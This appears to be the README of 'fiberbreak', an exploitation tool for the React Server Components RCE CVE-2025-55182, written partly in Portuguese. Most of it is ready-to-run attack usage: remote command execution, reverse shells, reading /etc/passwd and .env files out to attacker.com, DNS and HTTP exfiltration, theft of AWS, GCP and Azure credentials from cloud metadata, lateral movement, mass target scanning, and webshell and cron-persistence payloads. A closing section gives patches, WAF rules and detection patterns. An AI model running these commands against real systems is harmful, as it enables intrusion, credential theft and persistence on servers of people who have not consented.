
Ferramenta de Exploração React2Shell (CVE-2025-55182)
Framework de exploração para CVE-2025-55182 (React2Shell) - Vulnerabilidade crítica de RCE em Componentes de Servidor React.
# Clone repository
git clone https://github.com/scumfrog/fiberbreak
cd fiberbreak
# Install dependencies
pip install -r requirements.txt
# Make executable
chmod +x fiberbreak.py
# Build vulnerable testing environment
docker-compose up -d
# Wait for startup
sleep 20
# Test detection
./fiberbreak.py -u http://localhost:3000 detect
# Execute RCE
./fiberbreak.py -u http://localhost:3000 exploit -c "whoami"
# Verify
docker exec react2shell-lab ls -la /tmp/
CVE-2025-55182 é uma vulnerabilidade crítica de execução remota de código nos Componentes de Servidor React (RSC) que permite que atacantes não autenticados executem código arbitrário no servidor.
Causa Raiz: O protocolo React Flight desserializa a entrada do cliente não confiável sem validação adequada, permitindo que atacantes criem cargas maliciosas que abusam da cadeia de protótipos e do construtor Function do JavaScript.
Vetor de Ataque: Atacantes enviam uma requisição POST multipart/form-data manipulada com um cabeçalho Next-Action para qualquer endpoint RSC. A carga maliciosa utiliza:
__proto__constructor:constructor1. Atacante envia requisição POST manipulada
└─ multipart/form-data com JSON malicioso
└─ Cabeçalho Next-Action (qualquer valor)
2. Servidor desserializa a carga
└─ React processa o formato do chunk RSC
└─ Resolve objeto do tipo Promise
3. Cadeia de gadgets é acionada
└─ Acesso __proto__ burla verificações hasOwnProperty
└─ constructor:constructor expõe Function()
└─ _prefix executa código arbitrário
4. RCE alcançada
└─ Servidor executa JavaScript do atacante
└─ Comprometimento total do sistema
{
"then": "$1:__proto__:then", // Prototype pollution
"status": "resolved_model", // Fake React internal state
"reason": -1, // Trigger resolution
"value": '{"then":"$B1337"}', // Blob reference
"_response": {
"_prefix": "MALICIOUS_CODE_HERE;", // Executed code
"_formData": {
"get": "$1:constructor:constructor" // Function() access
}
}
}
// react-server-dom-webpack/src/ReactFlightClient.js
function resolveModelChunk(chunk) {
const value = JSON.parse(chunk.value);
// Missing validation here allows malicious chunks
if (value && typeof value.then === 'function') {
// Attacker controls 'then' method
value.then(/* ... */);
}
}
# Single target detection
./fiberbreak.py -u https://target.com detect
# Multiple targets from file
./fiberbreak.py -l targets.txt detect --threads 20
# Save results to JSON
./fiberbreak.py -l targets.txt detect -o results.json
# Disable SSL verification
./fiberbreak.py -u https://target.com detect --no-verify-ssl
# Simple blind command execution
./fiberbreak.py -u https://target.com exploit -c "whoami"
# Write file to disk
./fiberbreak.py -u https://target.com exploit \
-c "/tmp/pwned.txt:HACKED" -t write_file
# Read file contents
./fiberbreak.py -u https://target.com exploit \
-c "/etc/passwd:https://attacker.com" -t file_read
# Reverse shell
./fiberbreak.py -u https://target.com exploit \
-c "10.10.10.10:4444" -t reverse_shell
# DNS exfiltration (stealthy, no HTTP traffic)
./fiberbreak.py -u https://target.com exploit \
-c "whoami:attacker.oastify.com" -t dns_exfil
# HTTP exfiltration with output
./fiberbreak.py -u https://target.com exploit \
-c "id:https://attacker.com/exfil" -t http_exfil
# Environment variable dump
./fiberbreak.py -u https://target.com exploit \
-c "https://attacker.com/env" -t env_dump
# System reconnaissance
./fiberbreak.py -u https://target.com exploit \
-c "https://attacker.com/recon" -t recon
# Stealth DNS beacon (no command output)
./fiberbreak.py -u https://target.com exploit \
-c "attacker.oastify.com" -t stealth_beacon
# Auto-detect cloud provider and extract credentials
# Supports: AWS, GCP, Azure, DigitalOcean, Oracle Cloud, Alibaba Cloud
./fiberbreak.py -u https://target.com exploit \
-c "https://attacker.com/cloud" -t cloud_metadata
# 1. Stealthy detection with DNS beacon
./fiberbreak.py -u https://target.com exploit \
-c "recon.yourburp.oastify.com" -t stealth_beacon
# 2. If vulnerable, extract sensitive data
./fiberbreak.py -u https://target.com exploit \
-c "https://yourserver.com/exfil" -t env_dump
# 3. Check for cloud environment
./fiberbreak.py -u https://target.com exploit \
-c "https://yourserver.com/cloud" -t cloud_metadata
# 4. Document findings without causing damage
# Phase 1: Detection
./fiberbreak.py -u https://target.com detect -o detection.json
# Phase 2: Verification
./fiberbreak.py -u https://target.com exploit \
-c "/tmp/pentest_proof.txt:PENTEST_$(date +%s)" -t write_file
# Phase 3: Impact Assessment
./fiberbreak.py -u https://target.com exploit \
-c "https://pentest-server.com/impact" -t recon
# Phase 4: Credential Extraction (if cloud)
./fiberbreak.py -u https://target.com exploit \
-c "https://pentest-server.com/creds" -t cloud_metadata
# Phase 5: Interactive Access (if authorized)
# Terminal 1: Start listener
nc -lvnp 4444
# Terminal 2: Get shell
./fiberbreak.py -u https://target.com exploit \
-c "YOUR_IP:4444" -t reverse_shell
# Create target list
cat > targets.txt << EOF
https://app1.company.com
https://app2.company.com
https://app3.company.com
https://api.company.com
EOF
# Scan all targets in parallel
./fiberbreak.py -l targets.txt detect --threads 50 -o scan_results.json
# Filter vulnerable targets
cat scan_results.json | jq '.[] | select(.vulnerable==true) | .url'
# Generate report
cat scan_results.json | jq '{
total: length,
vulnerable: [.[] | select(.vulnerable==true)] | length,
targets: [.[] | select(.vulnerable==true) | .url]
}'
# AWS EC2 Instance
./fiberbreak.py -u https://aws-app.com exploit \
-c "https://attacker.com/aws" -t cloud_metadata
# Callback receives:
# - Instance ID, region, availability zone
# - IAM role name
# - Temporary AWS credentials (AccessKeyId, SecretAccessKey, Token)
# - User data
# - Network configuration
# GCP Compute Engine
./fiberbreak.py -u https://gcp-app.com exploit \
-c "https://attacker.com/gcp" -t cloud_metadata
# Callback receives:
# - Project ID, instance name, zone
# - Service account email
# - OAuth2 access token
# - Available scopes
# Azure Virtual Machine
./fiberbreak.py -u https://azure-app.com exploit \
-c "https://attacker.com/azure" -t cloud_metadata
# Callback receives:
# - Instance metadata
# - Managed identity OAuth2 token
# - Subscription information
# Create unique marker file
MARKER="pwned_$(date +%s)"
./fiberbreak.py -u https://target.com exploit \
-c "/tmp/${MARKER}:proof" -t write_file
# Verify via timing attack or out-of-band
./fiberbreak.py -u https://target.com exploit \
-c "curl https://attacker.com/${MARKER}" -t simple
# Step 1: Enumerate files
./fiberbreak.py -u https://target.com exploit \
-c "find /app -type f -name '*.env':https://attacker.com/files" -t http_exfil
# Step 2: Extract configuration
./fiberbreak.py -u https://target.com exploit \
-c "/app/.env:https://attacker.com/config" -t file_read
# Step 3: Extract database credentials
./fiberbreak.py -u https://target.com exploit \
-c "https://attacker.com/env" -t env_dump
# Extract AWS credentials
./fiberbreak.py -u https://target.com exploit \
-c "https://attacker.com/aws" -t cloud_metadata
# Use extracted credentials for lateral movement
export AWS_ACCESS_KEY_ID=""
export AWS_SECRET_ACCESS_KEY=""
export AWS_SESSION_TOKEN=""
# Enumerate resources
aws s3 ls
aws ec2 describe-instances
aws rds describe-db-instances
# Update React
npm install [email protected] [email protected]
# Update Next.js
npm install [email protected] # or [email protected]+
# Verify versions
npm list react react-dom next
nginx
# Block requests with Next-Action header
if ($http_next_action) {
return 403;
}
# Rate limit RSC endpoints
limit_req_zone $binary_remote_addr zone=rsc:10m rate=10r/s;
location / {
limit_req zone=rsc burst=20;
}
Apache (ModSecurity)
# Detect Next-Action header
SecRule REQUEST_HEADERS:Next-Action "@rx ." \
"id:2025551820,\
phase:2,\
deny,\
status:403,\
log,\
msg:'CVE-2025-55182 exploitation attempt detected'"
# Detect malicious RSC payloads
SecRule REQUEST_BODY "@rx (__proto__|constructor|prototype)" \
"id:2025551821,\
phase:2,\
deny,\
status:403,\
log,\
msg:'Malicious RSC payload detected'"
Cloudflare WAF
// Custom rule
(http.request.headers["next-action"] ne "") or
(http.request.body.raw contains "__proto__") or
(http.request.body.raw contains "constructor:constructor")
# Snort/Suricata rule
alert tcp any any -> any any (
msg:"CVE-2025-55182 React2Shell exploitation attempt";
flow:to_server,established;
content:"Next-Action"; http_header;
content:"__proto__"; http_client_body;
sid:2025551820;
rev:1;
)
// Next.js middleware
export function middleware(request) {
// Block requests with Next-Action header from untrusted sources
if (request.headers.get('next-action')) {
// Validate origin
const origin = request.headers.get('origin');
const allowedOrigins = ['https://yourdomain.com'];
if (!allowedOrigins.includes(origin)) {
return new Response('Forbidden', { status: 403 });
}
}
return NextResponse.next();
}
export const config = {
matcher: '/:path*',
};
# Monitor for exploitation attempts in logs
grep -r "Next-Action" /var/log/nginx/access.log
grep -r "__proto__" /var/log/nginx/access.log
# Alert on suspicious patterns
tail -f /var/log/nginx/access.log | grep -E "(Next-Action|__proto__|constructor:constructor)" | \
while read line; do
echo "[ALERT] Potential CVE-2025-55182 exploitation: $line"
# Send to SIEM/alerting system
done
APENAS PARA FINS EDUCACIONAIS E TESTES DE SEGURANÇA AUTORIZADOS
O uso não autorizado é proibido. Consulte a LICENSE para detalhes.
| Tipo | Formato | Descrição | Saída |
|---|
simple | comando | Executa qualquer comando shell | Cego |
output | comando + --callback | Executa com callback HTTP | Sim |
reverse_shell | lhost:lport | Reverse shell Bash | Interativa |
dns_exfil | cmd:dominio ou dominio | Exfiltração via DNS | Logs DNS |
http_exfil | cmd:url_callback | Exfiltração via HTTP | HTTP POST |
file_read | caminho_arquivo:callback | Lê e exfiltra arquivo | HTTP POST |
write_file | caminho_arquivo:conteudo | Escreve arquivo em disco | Cego |
env_dump | url_callback | Despeja variáveis de ambiente | HTTP POST |
cloud_metadata | url_callback | Extrai credenciais da nuvem | HTTP POST |
recon | url_callback | Reconhecimento do sistema | HTTP POST |
stealth_beacon | dominio | Beacon DNS | Logs DNS |
webshell | caminho_arquivo | Implanta webshell Node.js | Porta 8080 |
persist | url_callback | Instala persistência via cron | Tarefa cron |